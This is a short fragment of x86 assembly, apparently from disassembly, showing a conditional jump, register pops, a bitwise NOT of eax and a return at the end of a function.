jne 0x10014250
pop edi
pop esi
not eax
pop ebx
pop ebp
ret